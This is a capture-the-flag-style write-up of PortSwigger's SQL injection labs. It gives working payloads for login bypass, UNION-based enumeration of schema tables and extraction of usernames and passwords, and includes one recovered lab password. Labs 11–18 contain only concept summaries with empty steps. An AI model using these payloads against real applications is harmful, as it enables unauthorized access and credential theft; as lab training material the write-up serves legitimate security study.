PortSwigger - SQL Injection vulnerabilities labs
PortSwigger Web Security Academy - SQL Injection vulnerabilities labs
PortSwigger – SQL Injection Vulnerabilities Labs
LAB 1 — SQL Injection Vulnerability in WHERE Clause Allowing Retrieval of Hidden Data
Level:
APPRENTICE
Analysis
| Vulnerability | SQL injection vulnerability |
| Goal | causes the application to display one or more unreleased products |
| Key Concept | Injecting a tautology (OR 1=1) into the WHERE clause turns the entire condition true for every row, bypassing the intended filter and dumping hidden/unreleased data. |
Steps
1) start lab and burp go to any category of this : 
2) go to burp history and bring request and send it to repeater :
3) try to inject ‘ after pets and i got internal server error: 
4) Now i will try to give application correct condition to drop all products first let’s imagine sql query like :
1
SELECT * FROM products WHERE category = 'PETS'
5) application take PETS form us and we can change it to this :
1
SELECT * FROM products WHERE category = 'incorrect category' OR 1=1--
this is mean we send condition with OR that’s if one true it’s make all true
6) Try this in burp and use url encode and –> SOLVED : 
LAB 2 — SQL Injection Vulnerability Allowing Login Bypass
Analysis
| Vulnerability | SQL injection vulnerability in the login function |
| Goal | logs in to the application as the administrator user. |
| Key Concept | Commenting out the rest of the query (--) after supplying a known username removes the password check entirely, letting the query evaluate to true regardless of the password sent. |
Steps
1) start lab and burp and send login request :
2) let’s check if it’s vulnerable i add ‘ after username and got internal server error: 
3) i will assume that query like :
1
SELECT user FROM users WHERE username ='administrator' and password='password'
4) we can add – after username to make all query after it comment and query will be :
1
SELECT user FROM users WHERE username ='administrator'-- and password='password'
5) and this will make us login without password i use administrator’– and dummy password, redirected to admin page –> SOLVED :
LAB 3 — SQL Injection Attack, Querying the Database Type and Version on Oracle
Analysis
| | | |—|—| | Vulnerability | SQL injection vulnerability in the product category filter | | Goal | display the database version string | | Key Concept | Oracle requires every SELECT to reference a table, so UNION queries against Oracle must use the built-in DUAL table. The version string is pulled from the v$version system view. |
Steps
1) start lab and burp and go to any category select request from http history and send it to repeater : 
2) Check if it’s vulnerable to sqli with add ‘ after pets and got internal server error : 
3) let’s assume that query is :
1
SELECT * FROM products WHERE category='pets'
4) Now it’s oracle database and we will try to use union based sql injection because it’s our goal is to read database version
5) we will use union based sqli the query will be :
1
SELECT * FROM products WHERE category='pets'UNION SELECT NULL,NULL FROM DUAL --
i add null null to see if number of columns == 2 or not and that’s require if we need to retrieve data from database using union
6) try it in burp UNION SELECT NULL,NULL FROM DUAL -- and ok it’s work the number of columns is 2 :
7) let’s get version '+UNION+SELECT+BANNER,+NULL+FROM+v$version-- –> SOLVED :
query in will be like this ;
1
SELECT * FROM products WHERE category='pets'+UNION+SELECT+BANNER,+NULL+FROM+v$version --
LAB 4 — SQL Injection Attack, Querying the Database Type and Version on MySQL and Microsoft
Analysis
| | | |—|—| | Vulnerability | SQL injection vulnerability in the product category filter| | Goal | display the database version string | | Key Concept | MySQL/MSSQL comment syntax (
#or--) differs from Oracle, and neither engine requires aFROMclause for a literalSELECT, so the version can be fetched directly with@@version. |
Steps
1) start lab and burp and go to any category select request from http history and send it to repeater : 
2) Check if it’s vulnerable to sqli with add ‘ after pets and got internal server error :
3) let’s assume sql query is :
1
SELECT * FROM products where category = 'Accessories'
4) Now in lab description see it’s union based let’s verify number of columns with union : after many tries i recognize the comment here is # not – one columns :
1
SELECT * FROM products where category = 'Accessories'Union+Select+null#
not work
Two Columns :
1
SELECT * FROM products where category = 'Accessories'Union+Select+null,null#
it’s work and verified 2 columns
5) inject function that’s give us database version @@version –> Solved :
1
SELECT * FROM products where category = 'Accessories'Union+Select+@@version,null#
LAB 5 — SQL Injection Attack, Listing the Database Contents on Non-Oracle Databases
Analysis
| Vulnerability | SQL injection vulnerability in the product category filter. |
| Goal | log in as the administrator user. |
| Key Concept | The information_schema metadata tables (tables, columns) let an attacker enumerate unknown table/column names before pulling the actual credential data out through the same UNION channel. |
Steps
1) start lab and burp and go to any category select request from http history and send it to repeater :
2) let’s validate if it’s vulnerable or not by add ‘ after category and got internal server error :
3) let’s assume that query is :
1
SELECT * FROM products where category = 'gifts'--
4) Now in lab description see it’s union based let’s verify number of columns with union : the query will be :
one columns :
1
SELECT * FROM products where category = 'gifts'Union Select null--
not work
Two Columns :
1
SELECT * FROM products where category = 'gifts'Union Select null,null--
it’s work and verified 2 columns
1
SELECT * FROM products where category = 'gifts'UNION SELECT NULL,NULL--
5) now i will enum database to extract administrator password firs try to get all tables : 'UNION+SELECT+table_name,NULL+from+information_schema.tables--
in the following steps click show response in browser to see all results
6) now i have all table name and the one we need is users_vwztwe that’s may contain users data let’s enum this table : 'UNION+SELECT+column_name,NULL+from+information_schema.columns+where+table_name='users_vwztwe'--
7) now i have 2 columns username_ykovru password_ybdatc let’s retrieve content from 2 columns and got it : 'UNION+SELECT+username_ykovru,password_ybdatc+from+users_vwztwe--
8) login in with user administrator and password x5y6cia4o9jc0fh2roih –> SOLVED:
LAB 6 — SQL Injection Attack, Listing the Database Contents on Oracle
Level:
PRACTITIONER
Analysis
| Vulnerability | SQL injection vulnerability in the product category filter |
| Goal | log in as the administrator user |
| Key Concept | Oracle has no information_schema. Table/column names must instead be enumerated from Oracle’s own data dictionary views, all_tables and all_tab_columns, and every UNION SELECT still needs FROM DUAL. |
Steps
1) Start lab and open burp suite go to browser make a request for one category like gifts and intercept it with burp and send to repeater :
2) I checked the vulnerability by add ' after Gifts and i got internal server error :
3) from lab description the database is oracle let’s assume the query is :
1
Select * from products Where category='gifts'
and i bread syntax by add ‘ after gifts
3) let’s use union attack to get all information we need first start by number of column :
i tried one and failed 'Union+select+null+FROM+DUAL--: i use dual because it’s oracle database 
two columns and it’s work 'Union+select+null,null+FROM+DUAL--: 
4) now let’s get information about tables and columns to get admin password start with tables 'Union+SELECT+table_name,null+FROM+all_tables-- : to show all tables click show response in browser 
5) i find table call USERS_HSOHVE :
6) retrieve columns from this table '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_HSOHVE'-- and i find two columns with username and pssword: 
7) retrieve all usernames and password from this columns Gifts'+UNION+SELECT+USERNAME_EXJTIW,PASSWORD_RUEYYM+FROM+USERS_HSOHVE--: 
8) now i find administrator password let’s login in with this credentials –> SOLVED : 
LAB 7 — SQL Injection UNION Attack, Determining the Number of Columns Returned by the Query
Level:
PRACTITIONER
Analysis
| Vulnerability | SQL injection vulnerability in the product category filter |
| Goal | determine the number of columns returned by the original query |
| Key Concept | Incrementally adding NULL placeholders (or using ORDER BY n) until the injected UNION SELECT stops erroring reveals the exact column count needed before any data can be extracted. |
Steps
1) Start lab and open burp suite go to browser make a request for one category like gifts and intercept it with burp and send to repeater : 
2) Check vulnerability by add ' after gifts and i got internal server error : 
5) let’s assume that query is :
1
Select * from products Where category='gifts'
4) Now i will use union based to get get number of columns : start with one column and failed 'union+select+null-- : 
two columns failed again 'union+select+null,null-- : 
three columns and Solved 'union+select+null,null,null-- :
LAB 8 — SQL Injection UNION Attack, Finding a Column Containing Text
Level:
PRACTITIONER
Analysis
| | | |—|—| | Vulnerability | SQL injection vulnerability in the product category filter | | Goal | identify which column of the query’s output is suitable for retrieving string data | | Key Concept | Swapping each NULL in the UNION SELECT for a string literal, one column at a time, shows which position accepts a varchar-type value without a database type-mismatch error — that’s the column usable for text extraction. |
Steps
1) Start lab and open burp suite go to browser make a request for one category like gifts and intercept it with burp and send to repeater : 
2) Verify Vulnerability by add ' after gifts and i got internal server error : 
3) determine number of columns using union based sqli and it’s three 'union+select+null,null,null--:
4) now we need to see which column contain text by replace each null with string ; replace first null with random string and got internal server error,'union+select+'sdf',null,null--: 
replace second with string and it’s work 'union+select+null,'sdf',null--: 
5) to solve the lab we need to make app return d7uROL : 
6) add this string in column number 2 and solved :
—
LAB 9 — SQL Injection UNION Attack, Retrieving Data from Other Tables
Level:
PRACTITIONER
Analysis
| Vulnerability | SQL injection vulnerability in the product category filter |
| Goal | retrieve the contents of the users table |
| Key Concept | Once the column count and the text-compatible column are known, the same UNION SELECT can target any other table (e.g. users) instead of the original one, pulling out arbitrary data such as usernames and passwords. |
Steps
1) Start lab and open burp suite go to browser make a request for one category like gifts and intercept it with burp and send to repeater :
2) Verify Vulnerability by add ' after gifts and i got internal server error : 
3) Start with determine number of columns :
one column 'union+select+null--: 
4) start enum database to retrieve data and i find table called users : 
5) enum columns name in users table 'union+select+column_name,null+from+information_schema.columns+where+table_name='users'-- : 
6) retrieve data from columns using union based 'union+select+username,password+from+users-- and i find all usernames and passwords :
7) login with user administrator and the password i found and solved : 
LAB 10 — SQL Injection UNION Attack, Retrieving Multiple Values in a Single Column
Level:
PRACTITIONER
Analysis
| | | |—|—| | Vulnerability | SQL injection vulnerability in the product category filter | | Goal | retrieve multiple values (e.g. username and password) via a single-column UNION | | Key Concept | When only one text-friendly column is available, concatenating several values together with a separator (e.g. CONCAT(username,'~',password)) packs multiple pieces of data into that single column. |
Steps
1) Start lab and open burp suite go to browser make a request for one category like gifts and intercept it with burp and send to repeater : 
2) Verify Vulnerability by add ' after gifts and i got internal server error : 
3) use union based sqli to get number of columns 'union+select+null,null-- and it’s 2 columns:
4) retrieve table name form information schema :
first try i tried to retrieve names in first columns but failed 'union+select+table_name,null+from+information_schema.tables-- so that i tried to retrieve it in second columns 
second try i find all tables and the one we need is named users: 
5) now i will get columns names for information schema union+select+null,column_name+from+information_schema.columns+where+table_name='users'-- and i find username column and password : 
6) now we have problem we need to get 2 columns but we can use only one in union according to database or retrieve username in one try and password in second and try all passwords for the administrator username and i have different solution
7) i will use or operator with ~ +UNION+SELECT+NULL,username||'~'||password+from+users-- to get all data in one column : 
9) i have retrieved all usernames and passwords let’s login as administrator and SOLVED : 
LAB 11 — Blind SQL Injection with Conditional Responses
Level:
PRACTITIONER
Analysis
| | | |—|—| | Vulnerability | Blind SQL injection vulnerability in a tracking cookie | | Goal | infer sensitive data (e.g. a password character by character) with no visible query output | | Key Concept | Boolean-based blind injection: injecting a condition that is sometimes true and sometimes false (e.g. via a subquery in a CASE/AND clause) and observing which condition produces a different page response (like a “Welcome back” banner) lets data be inferred one bit/character at a time. |
Steps
1) Start lab and open burp suite go to browser make a request for one category like gifts and intercept it with burp and send to repeater :
2) Verify Vulnerability by add ' after gifts and i got internal server error :
LAB 12 — Blind SQL Injection with Conditional Errors
Level:
PRACTITIONER
Analysis
| | | |—|—| | Vulnerability | Blind SQL injection vulnerability with no visible content difference | | Goal | infer data when the app gives no observable output difference between true/false conditions | | Key Concept | Error-based blind injection: forcing a conditional database error (e.g. a divide-by-zero triggered only when a condition is true, via CASE WHEN (...) THEN 1/0 ELSE 0 END) turns an invisible condition into an observable HTTP 500 vs 200 response. |
Steps
LAB 13 — Visible Error-Based SQL Injection
Level:
PRACTITIONER
Analysis
| | | |—|—| | Vulnerability | SQL injection vulnerability with verbose database error messages | | Goal | extract data by triggering database errors that leak query results | | Key Concept | When the application displays raw database error messages, wrapping a subquery in a function that throws a type-conversion error (e.g. casting the subquery’s result to an incompatible type) causes the offending value itself to appear inside the error text. |
Steps
LAB 14 — Blind SQL Injection with Time Delays
Level:
PRACTITIONER
Analysis
| | | |—|—| | Vulnerability | Blind SQL injection vulnerability with no visible output or errors | | Goal | confirm the injection point using response timing alone | | Key Concept | Time-based blind injection: injecting a delay function (e.g. SLEEP(n) / pg_sleep(n) / WAITFOR DELAY) and measuring response time confirms the query executed, even with zero visible feedback. |
Steps
LAB 15 — Blind SQL Injection with Time Delays and Information Retrieval
Level:
PRACTITIONER
Analysis
| | | |—|—| | Vulnerability | Blind SQL injection vulnerability with no visible output or errors | | Goal | extract actual data (not just confirm injection) using timing alone | | Key Concept | Combining a conditional statement with a time delay (delay only fires IF/CASE a guessed character matches) turns response timing into a channel for exfiltrating data character by character. |
Steps
LAB 16 — Blind SQL Injection with Out-of-Band Interaction
Level:
PRACTITIONER
Analysis
| | | |—|—| | Vulnerability | Blind SQL injection vulnerability with no in-band feedback of any kind | | Goal | confirm the injection exists using an out-of-band (OOB) channel | | Key Concept | When there’s no visible content, error, or timing difference to observe, triggering a DNS/HTTP lookup to an external listener (e.g. Burp Collaborator) via a database-specific OOB function proves the injection fired, independent of the application’s response. |
Steps
LAB 17 — Blind SQL Injection with Out-of-Band Data Exfiltration
Level:
PRACTITIONER
Analysis
| | | |—|—| | Vulnerability | Blind SQL injection vulnerability with no in-band feedback of any kind | | Goal | exfiltrate real query results (not just confirm injection) via an OOB channel | | Key Concept | Embedding the result of a subquery directly into the OOB lookup (e.g. as a subdomain in a crafted DNS request) lets the actual data — not just a true/false signal — travel out through the out-of-band channel. |
Steps
LAB 18 — SQL Injection with Filter Bypass via XML Encoding
Level:
PRACTITIONER
Analysis
| | | |—|—| | Vulnerability | SQL injection vulnerability with a web application firewall (WAF) or input filter | | Goal | bypass the filter blocking common SQL injection syntax | | Key Concept | Filters that only pattern-match plain-text SQL keywords can be bypassed by encoding the payload as XML entities (e.g. ' for a quote) inside a SOAP/XML request body; the XML parser decodes the entities before the value reaches the SQL layer, smuggling the payload past the filter. |
Steps
Finished — Happy Hacking!
Find me online:
- TryHackMe: t4t4r1s
- HackTheBox: t4t4r1s
- LinkedIn: Mustafa Eltayeb
- X: @mustafa_altayeb




































